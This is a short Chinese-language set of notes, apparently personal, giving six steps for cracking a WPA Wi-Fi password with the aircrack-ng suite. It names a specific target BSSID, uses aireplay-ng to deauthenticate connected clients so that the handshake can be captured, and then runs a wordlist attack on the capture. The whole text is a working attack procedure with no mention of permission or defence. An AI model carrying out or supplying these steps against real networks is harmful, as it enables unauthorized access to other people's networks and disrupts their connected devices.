1.airodump-ng wlan0
2.找到合适的目标Ctrl+c停止
3.复制目标网络的BSSID
4.airodump-ng -c 6 --bssid 70:18:8B:DB:64:27 -w /root/Desktop/ wlan0 得到客户端
5.再新开终端aireplay-ng --deauth 2 –a [router bssid] –c [client bssid] wlan0 出现握手
6.用密码字典破解无线网络，命令格式如下：
aircrack-ng -a2 -b [router bssid] -w [path to wordlist] /root/Desktop/*.cap